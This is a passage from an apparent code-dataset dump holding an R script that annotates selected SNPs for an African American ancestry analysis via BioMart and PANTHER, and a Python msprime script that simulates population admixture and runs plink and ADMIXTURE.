\n#head(afam_TOPSNPS)\n\n#Calculate DA between global average African ancestry and selected SNPs\nTOPANC <- afam_TOPSNPS %>%\n mutate(DA = ((AfAv - (Yoruba_ANC)/(LSBL_European+LSBL_Yoruba))))\nhead(TOPANC)\n\n#SNPs with outlying DA from average African ancestry\nTop <- TOPANC[\n TOPANC$DA >= quantile(TOPANC$DA, 0.99),]\n\nBottom <- TOPANC[\n TOPANC$DA <= quantile(TOPANC$DA, 0.01),]\n\nhead(Top)\nnrow(Top)\n\nwrite.csv(Top, file = \"~/AfAm/TopAf.csv\")\nwrite.csv(Bottom, file = \"~/AfAm/BotAf.csv\")\n\n#BIOMART!\nsapiens.snp = useMart(\"ENSEMBL_MART_SNP\",\n dataset=\"hsapiens_snp\")\n\nsapiens = useMart(\"ensembl\",\n dataset='hsapiens_gene_ensembl')\n\nAdIntA <- Top$RS\nPurSelA <- Bottom$RS\n\n#Adaptive Introgression\nT1 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = AdIntA,\n mart = sapiens.snp)\n\nT2 <- getBM(attributes = c(\"ensembl_gene_id\", \"external_gene_name\", \"band\", \n \"start_position\",\"end_position\", \"phenotype_description\", \n \"entrezgene\", \"description\"),\n filters = \"ensembl_gene_id\",\n values = T1$ensembl_gene_stable_id,\n mart = sapiens)\n\nAfAdint <- merge(T1, T2, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nAdintA <- data.frame(AfAdint)\nhead(AdintA)\n\nAdintA <- AdintA %>% \n dplyr::select(\"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\n#head(AdintA)\n\nAdintA <- AdintA %>%\n group_by(refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"), \n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \"))\n\nAdintA <- AdintA %>% \n rename(\"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id) %>%\n arrange(Chr)\n\nwrite.csv(AdintA, \"./AfAm/afadint.csv\")\n\n\npantherAIa <- AdintA %>%\n dplyr::select(\"Ensembl ID\")\nwrite.csv(pantherAIa, \"~/AfAm/pantherAIa.csv\", quote = FALSE, row.names = FALSE)\n\n\n#Purifying Selection\nT3 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = PurSelA,\n mart = sapiens.snp)\n\nT4 <- getBM(attributes = c(\"ensembl_gene_id\", \"external_gene_name\", \"band\", \n \"start_position\",\"end_position\", \"phenotype_description\", \n \"description\"),\n filters = \"ensembl_gene_id\",\n values = T3$ensembl_gene_stable_id,\n mart = sapiens)\n\nAfPursel <- merge(T3, T4, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nPurselA <- data.frame(AfPursel)\n\nPurselA <- PurselA %>% \n dplyr::select(\"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\nhead(PurselA)\n\nPurselA <- PurselA %>%\n group_by(refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"),\n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \"))\n\nPurselA <- ungroup(PurselA) %>% \n rename(\"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id) %>%\n arrange(Chr)\n\nwrite.csv(PurselA, \"./AfAm/afpursel.csv\")\n\npantherPSa <- PurselA %>%\n dplyr::select(\"Ensembl ID\")\nwrite.csv(pantherPSa, \"~/AfAm/pantherPSa.csv\", quote = FALSE, row.names = FALSE)\n\n#PANTHER TO BIOMART\nAf_AI <- read.delim(\"~/AfAM/PANTHER/AI/unclassified.txt\", header = FALSE)\n\nAf_AI <- Af_AI %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Af_AI)\nAAI <- read.csv(\"~/AfAm/afadint.csv\")\nAAI <- AAI %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\n\nnrow(AAI)\n\nAf_AI <- merge(AAI, Af_AI, by.y = \"Ensembl ID\", all.x = T)\nAf_AI <- distinct(Af_AI)\n\nnrow(Af_AI)\n\nwrite.csv(Af_AI, \"~/AfAm/BioPANTHER/Af_AI.csv\")\n\nAf_PS1 <- read.delim(\"~/AfAm/PANTHER/PS/unclassified.txt\", header = FALSE)\nAf_PS2 <- read.delim(\"~/AfAm/PANTHER/PS/multicellular.txt\", header = FALSE)\nAf_PS <- rbind(Af_PS1, Af_PS2)\nhead(Af_PS)\n\nAf_PS <- Af_PS %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(Af_PS)\nAPS <- read.csv(\"~/AfAm/afpursel.csv\")\nAPS <- APS %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\nnrow(APS)\n\nAf_PS <- merge(APS, Af_PS, by.y = \"Ensembl ID\", all.x = T)\nAf_PS <- distinct(Af_PS)\n\nnrow(Af_PS)\n\nwrite.csv(Af_PS, \"~/AfAm/BioPANTHER/Af_PS.csv\")\n\n\n##make genic files in the untitled1 thing and then run this (also do all the mal pops first)\nPantherGenesAIA <- read.csv(\"~/AfAm/BioPANTHER/Af_AI_Genic.csv\")\ncolnames(PantherGenesAIA)\n\nPGAIA <- PantherGenesAIA %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\", \"PANTHER.Protein.Family\", \"Authors\", \"Year\") %>%\n group_by(PANTHER.Protein.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"), \n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \"),\n \"Authors\" = paste((Authors), collapse = \", \"), \n \"Year\" = paste((Year), collapse = \", \")) %>%\n filter(PANTHER.Protein.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Protein.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\", \"PANTHER Protein Family\", \"Authors\", \"Year\")\nhead(PGAIA)\n\nwrite.csv(PGAIA, \"~/AfAm/BioPANTHER/Af_AI_PANTHER.csv\", row.names = FALSE, na = \"\")\n\nPantherGenesPSA <- read.csv(\"~/AfAm/BioPANTHER/Af_PS_Genic.csv\", na = \"\")\ncolnames(PantherGenesPSA)\nnrow(PantherGenesPSA)\n\nPGPSA <- PantherGenesPSA %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\", \"Gene.Function\", \"PANTHER.Protein.Family\", \"Authors\", \"Year\") %>%\n group_by(PANTHER.Protein.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"), \n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \"),\n \"Gene Function\" = paste(unique(Gene.Function), collapse = \", \"),\n \"Authors\" = paste((Authors), collapse = \", \"), \n \"Year\" = paste((Year), collapse = \", \")) %>%\n filter(PANTHER.Protein.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Protein.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\", \"Gene Function\", \"PANTHER Protein Family\", \"Authors\", \"Year\")\nhead(PGPSA)\n\nwrite.csv(PGPSA, \"~/AfAm/BioPANTHER/Af_PS_PANTHER.csv\", row.names = FALSE, na = \"\")\n\nPGPSA2 <- PantherGenesPSA %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\", \"Gene.Function\", \"PANTHER.Protein.Family\", \"Authors\", \"Year\") %>%\n group_by(PANTHER.Protein.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"), \n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \"),\n \"Gene Function\" = paste(unique(Gene.Function), collapse = \", \"),\n \"Authors\" = paste((Authors), collapse = \", \"), \n \"Year\" = paste((Year), collapse = \", \")) %>%\n filter(PANTHER.Protein.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Protein.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\",\"Gene Function\", \"PANTHER Protein Family\", \"Authors\", \"Year\")\nhead(PGPSA2)\nnrow(PGPSA2)\n\nwrite.csv(PGPSA2, \"~/AfAm/BioPANTHER/PS_Genes.csv\", row.names = FALSE, na = \"\")\n\nPS_Genes <- read.csv(\"~/AfAm/BioPANTHER/AF_PS_Genic.csv\", header = TRUE)\n\nPS_Genes <- PS_Genes %>%\n dplyr::select(\"SNP\", \"Chr\", \"Gene\") %>%\n na.omit()\nnrow(PS_Genes)\n\nPS_Genes <- PS_Genes %>%\n group_by(Gene) %>%\n summarise(Rep = length(SNP),\n SNP = paste(unique(SNP), collapse = \", \"))\nnrow(PS_Genes)\n\nwrite.csv(PS_Genes, \"~/AfAm/BioPANTHER/PS_Genes2.csv\", col.names = FALSE, na = '')\n\n#Streamlining AI for +DA\n##Will have to run PDA through BioMart and PANTHER on its own, it looks like (SNP names are updated when going through BIoMArt)\n\nPDA <- read.csv(\"~/AfAm/R_Output/posDeltAI.csv\", header = TRUE)\nhead(PDA)\nnrow(PDA)\n\nPDA1 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = PDA$RS,\n mart = sapiens.snp)\nhead(PDA1)\nnrow(PDA1)\n\nPDA2 <- getBM(attributes = c(\"ensembl_gene_id\", \"external_gene_name\", \"band\", \n \"start_position\",\"end_position\", \"phenotype_description\", \n \"entrezgene\", \"description\"),\n filters = \"ensembl_gene_id\",\n values = PDA1$ensembl_gene_stable_id,\n mart = sapiens)\nnrow(PDA2)\n\nPDA <- merge(PDA1, PDA2, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nhead(PDA)\nPDA <- data.frame(PDA)\nnrow(PDA)\n\nPDA <- PDA %>% \n dplyr::select(\"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\n#head(AdintA)\n\nPDA <- PDA %>%\n group_by(refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"), \n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \"))\nnrow(PDA)\n\nPDA <- PDA %>% \n rename(\"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id) %>%\n arrange(Chr)\n\nhead(PDA)\nwrite.csv(PDA, \"./AfAm/PDA.csv\")\nnrow(PDA)\n\n\npantherPDA <- PDA %>%\n dplyr::select(\"Ensembl ID\")\nwrite.csv(pantherPDA, \"~/AfAm/PANTHER/pantherPDA.csv\", quote = FALSE, row.names = FALSE)\n\nPDA_Panther <- read.delim(\"~/AfAm/PANTHER/PDA_unclassified.txt\", header = FALSE)\n\nPDA_Panther <- PDA_Panther %>%\n rename(\"Ensembl ID\" = V2) %>%\n rename(\"PANTHER Family\" = V4) %>%\n dplyr::select(\"Ensembl ID\", \"PANTHER Family\")\nnrow(PDA_Panther)\n\nPDA3 <- read.csv(\"~/AfAm/PDA.csv\")\nhead(PDA3)\nPDA3 <- PDA3 %>%\n rename(\"Ensembl ID\" = Ensembl.ID)\nnrow(PDA3)\n\nPDA_genic <- merge(PDA3, PDA_Panther, by.y = \"Ensembl ID\", all.x = T)\nPDA_genic <- distinct(PDA_genic)\n\nnrow(PDA_genic)\ncolnames(PDA_genic)\n\nPDA_genic <- PDA_genic %>%\n filter(Gene != \"NA\") %>%\n dplyr::select(\"SNP\", \"Ref.Alt\", \"Chr\", \"Position\", \"SNP.Function\", \"Gene\", \n \"Associated.Phenotype\", \"Gene.Function\", \"Authors\", \"Year\", \"PANTHER Family\") %>%\n rename(\"Ref/Alt\" = Ref.Alt,\n \"SNP Function\" = SNP.Function,\n \"Associated.Phenotype\" = Associated.Phenotype,\n \"Gene Function\" = Gene.Function)\n\nwrite.csv(PDA_genic, \"~/AfAm/BioPANTHER/PDA.csv\", row.names = FALSE, na = \"\")\n\n#NEXT: Get the gene list from this, finish the AfAm section, and then do that for all the Mal groups as well\nPDA_PANTHER <- read.csv(\"~/AfAm/BioPANTHER/PDA.csv\")\ncolnames(PDA_PANTHER)\n\nPDA_PANTHER <- PDA_PANTHER %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated.Phenotype\", \"Gene.Function\", \"PANTHER.Family\", \"Authors\", \"Year\") %>%\n group_by(PANTHER.Family) %>%\n summarise(\"Chr\" = paste(unique(Chr), collapse = \", \"),\n \"Gene\" = paste(unique(Gene), collapse = \", \"), \n \"Associated Phenotype\" = paste(unique(Associated.Phenotype), collapse = \", \"),\n \"Gene Function\" = paste(unique(Gene.Function), collapse = \", \"),\n \"Authors\" = paste((Authors), collapse = \", \"), \n \"Year\" = paste((Year), collapse = \", \")) %>%\n filter(PANTHER.Family != \"\") %>%\n rename(\"PANTHER Protein Family\" = PANTHER.Family) %>%\n dplyr::select(\"Chr\", \"Gene\", \"Associated Phenotype\",\"Gene Function\", \"PANTHER Protein Family\", \"Authors\", \"Year\")\nhead(PDA_PANTHER)\nnrow(PDA_PANTHER)\n\nwrite.csv(PDA_PANTHER, \"~/AfAm/BioPANTHER/PDA_Genes.csv\", row.names = FALSE, na = \"\")\n\nPDA_Genes <- read.csv(\"~/AfAm/BioPANTHER/PDA.csv\")\n\nPDA_Genes <- PDA_Genes %>%\n dplyr::select(\"SNP\", \"Chr\", \"Gene\") %>%\n na.omit()\nnrow(PDA_Genes)\n\nPDA_Genes <- PDA_Genes %>%\n group_by(Gene) %>%\n summarise(Rep = length(SNP),\n SNP = paste(unique(SNP), collapse = \", \"))\nnrow(PDA_Genes)\n\nwrite.csv(PDA_Genes, \"~/AfAm/BioPANTHER/PDA_Genes2.csv\", col.names = FALSE, na = '')\n\n" }, { "alpha_fraction": 0.59831303358078, "alphanum_fraction": 0.6244158148765564, "avg_line_length": 22.90735626220703, "blob_id": "7ed513a83356ecdf6cb716f216cbf5f7438fc3f7", "content_id": "92d45f40d2c582633a399073c0e4c69ca49e6980", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8773, "license_type": "no_license", "max_line_length": 90, "num_lines": 367, "path": "/Scripts/Simulator/model_admix2.py", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n##########################################################################################\n# Model for simulating admixture through msprime. Generates plink analysis and ADMIXTURE #\n# results for simulated admixed population. Input is 3 populations - 2 parent, 1 admixed #\n# \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n# To begin simulation: run model_admix.py in shell with the following parameters: #\n# Pop1 Current size, Pop2 Current size, Pop3(admixed) Current size, time admixture(ybp), #\n# prop of admixed population from pop1 (decimal), prop of admixed population from pop2, #\n# length of sequence sampled\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n# Before using this model it is necessary to install msprime! \t\t\t\t #\n# https://msprime.readthedocs.io/en/stable/introduction.html #\n##########################################################################################\n\n\n##required packages\nimport numpy as np\nimport subprocess\nimport sys\nimport os\nimport pandas as pd\nimport msprime\n\n##define arguments and argument order\n##arg1 - population 1 initial size\n##arg2 - population 2 initial size\n##arg3 - admixed population (pop3) initial size\n##arg4 - time of admixture in years ago\n##arg5 - proportion of admixed population from population 1 as decimal\n##arg6 - proportion of admixed population from population 2 as decimal \n##arg7 - length of genome you want to simulate\n\npop1 = int(sys.argv[1])\npop2 = int(sys.argv[2])\npop3 = int(sys.argv[3]) \ntime_admix = int(sys.argv[4])\nprop_pop1 = float(sys.argv[5])\nprop_pop2 = float(sys.argv[6])\ngen_len = int(sys.argv[7])\n\n#Simulation function\ndef model_admix(pop1, pop2, pop3, time_admix, prop_pop1, prop_pop2, gen_len):\n\tif (len(sys.argv) >= 9):\n\t\tprint(\"Too many arguments specified\")\n\t\texit()\n\telif (len(sys.argv) < 8):\n\t\tprint(\"Too few arguments specified\")\n\t\texit()\n\telse:\n\t\tpass\n\t\t\n\tfor file in os.listdir(\"/Users/Lane/Admixture2\"):\n\t\tif file.endswith(\".pdf\"):\n\t\t\tprint(\"Clear working directory before simulating new data\") \n\t\t\texit()\n\t\telse:\n\t\t\tpass \n\t\n\t#defining the variables for the simulation by scaling to args\t\t\t\n\tPop1 = pop1\n\tPop2 = pop2\n\tPop3 = pop3\n\tgeneration_time = 30\n\tT_Pop1 = 40000000/generation_time \n\tT_Pop2 = 50000/generation_time\n\tT_Admix = time_admix/generation_time\n\tr_Pop2_1 = (pop2/1000)**(1/T_Admix) - 1\n\tr_Pop3 = (pop3/100)**(1/T_Admix) - 1\n\tr_Pop2_2 = (0.5*pop2 / 20)**(1 / (T_Pop2 - T_Admix)) - 1\n\tr_Pop1 = (pop3/100)**(1/T_Pop1)-1\n\ts_Pop2_0 = 1000\n\ts_Pop3_0 = 50\n\tm_Pop1 = 0.1*prop_pop1\n\tm_Pop2 = 0.1*prop_pop2\n\t\n\tprint(\"BEGINNING SIMULATION:\", str(sys.argv))\n\n\t#begin simulation\n\ttest = msprime.simulate(\n\t\tlength = gen_len, \n\t\trecombination_rate = 3e-7,\n\t\tmutation_rate = 1.3e-8,\n\t\tpopulation_configurations = [\n\t\tmsprime.PopulationConfiguration(\n\t\t\tsample_size = 80, \n\t\t\tinitial_size = Pop1,\n\t\t#\tgrowth_rate = r_Pop1\n\t\t\t), \n\t\tmsprime.PopulationConfiguration(\n\t\t\tsample_size = 80, \n\t\t\tinitial_size = Pop2, \n\t\t#\tgrowth_rate = r_Pop2_1\n\t\t\t), \n\t\tmsprime.PopulationConfiguration(\n\t\t\tsample_size = 80, \n\t\t\tinitial_size = Pop3, \n\t\t#\tgrowth_rate = r_Pop3\n\t\t\t)],\n\t\tmigration_matrix = [\n\t\t\t[0, 0, 0],\n\t\t\t[0, 0, 0],\n\t\t\t[0, 0, 0]\n\t\t\t],\n\t\tdemographic_events = [\n\t\t\tmsprime.MigrationRateChange(\n\t\t\t\ttime = ((time_admix - 60)/generation_time),\n\t\t\t\trate = 0\n\t\t\t\t),\n\t\t\tmsprime.MigrationRateChange(\n\t\t\t\ttime = T_Admix, \n\t\t\t\trate = 1.5*prop_pop1,\n\t\t\t\tmatrix_index = [2,0]\n\t\t\t\t),\n\t\t\tmsprime.MigrationRateChange(\n\t\t\t\ttime = T_Admix,\n\t\t\t\trate = 1.5*prop_pop2,\n\t\t\t\tmatrix_index = [2,1]\n\t\t\t\t),\n\t\t\t#msprime.PopulationParametersChange(\n\t\t\t#\ttime = T_Admix, \n\t\t\t#\tinitial_size = s_Pop3_0, \n\t\t\t#\tpopulation_id = 2\n\t\t\t#\t),\n\t\t\tmsprime.MassMigration(\n\t\t\t\ttime=T_Admix, \n\t\t\t\tsource = 2,\n\t\t\t\tdest = 1, \n\t\t\t\tproportion = prop_pop2\n\t\t\t\t),\n\t\t\tmsprime.MassMigration(\n\t\t\t\ttime=T_Admix, \n\t\t\t\tsource = 2, \n\t\t\t\tdest = 0, \n\t\t\t\tproportion = prop_pop1\n\t\t\t\t),\n\t \t\t#msprime.PopulationParametersChange(\n\t \t\t#\ttime = T_Admix, \n\t \t\t#\tgrowth_rate = r_Pop2_2,\n\t \t\t#\tpopulation_id = 1\n\t \t\t#\t),\n\t \t\tmsprime.PopulationParametersChange(\n\t \t\t\ttime = T_Admix, \n\t \t\t\tgrowth_rate = 0, \n\t \t\t\tpopulation_id = 2\n\t \t\t\t),\n\t \t\tmsprime.MigrationRateChange(\n\t \t\t\ttime=T_Admix, \n\t \t\t\trate = 0\n\t \t\t\t),\n\t \t\t#msprime.PopulationParametersChange(\n\t \t\t#\ttime = T_Pop2, \n\t \t\t#\tinitial_size = s_Pop2_0,\n\t \t\t#\tpopulation_id = 1\n\t \t\t#\t),\n\t \t\tmsprime.MassMigration(\n\t \t\t\ttime=T_Pop2, \n\t \t\t\tsource = 1, \n\t \t\t\tdest = 0, \n\t \t\t\tproportion = 1.0\n\t \t\t\t),\n\t\t\tmsprime.MigrationRateChange(\n\t\t\t\ttime = T_Pop2, \n\t\t\t\trate = 1\n\t\t\t\t),\n\t\t\tmsprime.PopulationParametersChange(\n\t\t\t\ttime = T_Pop2, \n\t\t\t\tgrowth_rate = 0, \n\t\t\t\tpopulation_id = 2\n\t\t\t\t),\n\t\t\tmsprime.PopulationParametersChange(\n\t\t\t\ttime = T_Pop2, \n\t\t\t\tgrowth_rate = 0, \n\t\t\t\tpopulation_id = 1\n\t\t\t\t),\n\t \t\tmsprime.PopulationParametersChange(\n\t \t\t\ttime = T_Pop1, \n\t \t\t\tgrowth_rate = r_Pop1,\n\t \t\t\tpopulation_id = 0\n\t \t\t\t),\n\t \t\tmsprime.MigrationRateChange(\n\t \t\t\ttime = T_Pop1, \n\t \t\t\trate = 1\n\t \t\t\t)\n\t \t\t#msprime.PopulationParametersChange(\n\t \t\t#\ttime = T_Pop1, \n\t \t\t#\tgrowth_rate = r_Pop3, \n\t \t\t#\tpopulation_id = 2\n\t \t\t#\t),\n\t \t\t#msprime.PopulationParametersChange(\n\t \t\t#\ttime = T_Pop1, \n\t \t\t#\tgrowth_rate = r_Pop2_1, \n\t \t\t#\tpopulation_id = 1\n\t \t\t#\t)\n\t \t\t\t]\n\t \t\t\t)\n\tprint(\"SIMULATION COMPLETE\")\n\n\t#Make VCF of simulated data\n\twith open(\"snps.vcf\", \"w\") as vcf_file: \n\t\ttest.write_vcf(vcf_file, 2)\n\n\t#msprime makes files that aren't quite compatible with what we need to do\n\t#Therefore we'll need to clean these files up before proceeding\n\twith open(\"snps.vcf\", \"r\") as file: \n\t\tfiledata = file.read()\n\t\t\n\tfiledata = filedata.replace(\"msp_0\", \"msp_00\")\n\t\n\twith open (\"snps.vcf\", \"w\") as file: \n\t\tfile.write(filedata)\n\t\n\tprint(\"VCF FIXED\")\n\t\n\t#Make files compatible for plink\t\n\tpop_info = subprocess.Popen(\n\t\t\"~/bin/pop_info_generator.py 40 40 40\", \n\t\tshell=True\n\t\t)\n\t\t\n\tmake_files = subprocess.Popen(\n\t\t\"plink --vcf snps.vcf --make-bed --out model\", \n\t\tshell=True\n\t\t)\n\t\n\t#Create population information for the simulated data\n\tpop_info.communicate()\n\tprint(\"POP INFO CREATED\")\n\t\n\tmake_files.communicate()\n\tprint(\"FILES CREATED\")\n\t\n#actually run the model and produce files that can be input to other software programs\nmodel_admix(pop1, pop2, pop3, time_admix, prop_pop1, prop_pop2, gen_len)\n\n\n#We'll need to do a bit more file prep before we're ready to get moving on analysis\ndef fam_fix():\n\tfam_fix = subprocess.Popen(\n\t\t\"~/bin/fam_fix.pl model.fam model_fixed.fam\", \n\t\tshell=True\n\t\t)\t\n\tfam_fix.communicate()\n\tprint(\"FAM FIXED\") \nfam_fix()\t\n\nos.rename(\"model_fixed.fam\", \"model.fam\")\nprint(\"FAM REPLACED\")\n\n\n#Add SNP IDs to the VCF\ndef bim_fix():\n\tbim_fix = subprocess.Popen(\n\t\t\t\"~/bin/bim_fix.py ./model ./model.bim\",\n\t\t\tshell=True\n\t\t\t)\n\tbim_fix.communicate()\t\n\tprint(\"BIM FIXED\")\nbim_fix()\n\ndef new_vcf():\n\tnew_vcf = subprocess.Popen(\n\t\t\"plink --bfile model --recode-vcf --out snps\", \n\t\tshell = True\n\t\t)\n\tnew_vcf.communicate()\n\tprint(\"NEW VCF CREATED\") \nnew_vcf()\n\ndef snp_id():\n\tsnp_id = subprocess.Popen(\n\t\t\"~/bin/snp_id2.py\",\n\t\tshell=True\n\t\t)\nsnp_id()\n\n#Finally ready for plink\t\n#Perform pca and plot\ndef pca_test():\n\tpca = subprocess.Popen(\n\t\t\"plink --bfile model --pca --out model_pca\", \n\t\tshell=True\n\t\t)\n\tpca.communicate()\n\t\n\tplot = subprocess.Popen(\n\t\t\"Rscript /Users/Lane/bin/pca_plot2.R\", \n\t\tshell=True\n\t\t)\n\tplot.communicate()\n\tprint(\"PCA FINISHED\")\npca_test()\t\n\n#Prune the dataset\ndef prune():\t\n\tprune = subprocess.Popen(\n\t\t\"plink --bfile model --indep-pairwise 50 2 0.8\",\n\t\tshell=True\n\t\t)\n\tprune.communicate()\n\n#New dataset for pruned beds\ndef make_beds():\n\tnew_bed = subprocess.Popen(\n\t\t\"plink --bfile model --extract plink.prune.in --make-bed --out pruned_model\", \n\t\tshell=True\n\t\t)\n\tnew_bed.communicate()\n\t\n\tnew_bedout = subprocess.Popen(\n\t\t\"plink --bfile model --extract plink.prune.out --make-bed --out outpruned_model\", \n\t\tshell=True\n\t\t)\n\tnew_bedout.communicate()\n\t\nprune()\nmake_beds()\n\ndef prune_mp():\n\tm_p = subprocess.Popen(\n\t\t\"plink --bfile pruned_model --recode --out pruned_model\", \n\t\tshell=True\n\t\t)\n\tm_p.communicate()\nprune_mp()\n\t\n#run ADMIXTURE\ndef admixture_test():\n\tadmix = subprocess.Popen(\n\t\t\"for K in 1 2 3; \\\n\t\tdo admixture --cv pruned_model.bed $K | tee log$K.out; done\", \n\t\tshell=True\n\t\t)\n\tadmix.communicate()\n\t\n\tcv_grab = subprocess.Popen(\n\t\t\"grep -h CV log*.out >cv_error.txt\",\n\t\tshell = True\n\t\t)\n\tcv_grab.communicate()\n\t\n\tcv_error = subprocess.Popen(\n\t\t\"Rscript /Users/Lane/bin/cv_error_plot2.R\",\n\t\tshell=True\n\t\t)\n\tcv_error.communicate()\n\t\n\tadmix_plot = subprocess.Popen(\n\t\t\"Rscript /Users/Lane/bin/admix_plot2.R\", \n\t\tshell = True\n\t\t)\n\tadmix_plot.communicate()\n\t\n\tprint(\"ADMIXTURE FINISHED\")\nadmixture_test()\n\n#MAF removal\ndef freq():\n\tfreq = subprocess.Popen(\n\t\t\"plink --bfile model --maf 0.05 --make-bed --out sims\",\n\t\tshell=True\n\t\t)\n\tfreq.communicate()\n\nfreq()\n\nexit()" }, { "alpha_fraction": 0.6280992031097412, "alphanum_fraction": 0.6351829767227173, "avg_line_length": 9.469136238098145, "blob_id": 